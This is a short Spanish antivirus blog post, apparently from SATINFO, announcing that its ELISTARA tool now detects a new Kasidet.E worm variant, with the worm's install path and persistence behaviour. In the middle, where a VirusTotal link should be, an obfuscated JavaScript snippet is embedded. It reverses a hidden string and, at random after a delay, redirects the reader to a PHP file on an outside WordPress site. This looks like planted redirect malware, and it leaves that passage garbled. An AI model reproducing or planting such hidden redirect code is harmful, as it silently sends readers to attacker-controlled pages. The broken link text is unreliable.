NUEVA VARIANTE DE WORM KASIDET.E

Aumque ya sea mas de lo mismo, vamos añadiendo el conmtrol y eliminaciónm de las nuevas vcariantes de este conocido malware, en nuestro ELISTARA, el cual a partir de la versión 37.94 de hoy

– Queda residente. (proceso activo no visible)
– El EXE inicial se autoborra.

Se instala en:
%Datos de Programa%\Microsoft\Cdfvkmgr\ddraript.exe

Mientras esta activo, se deniega el acceso de lectura al EXE, y la clave se regenera.

total El preanalisis de virustotal de los ficheros analizados ofrece los siguientes informes:

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/es/file/092c891b7126883a9fefe30d3f0777d9175f82309d2ba0427ce6b17a8fb5bd59/analysis/1511522930/” target=”_blank” rel=”noopener”>informe preanalisis DDRARIPT(140).gxe

__________

NOTA: Los interesados en información sobre contrato de soporte Asistencia Tecnica de SATINFO y/o licencia de uso/actualizaciones de sus utilidades, contacten con info@satinfo.es
__________

Este blog no se hace responsable de las opiniones y comentarios de los textos en los que se cita la Fuente, ofreciendo su contenido solo para facilitar el acceso a la información del mismo.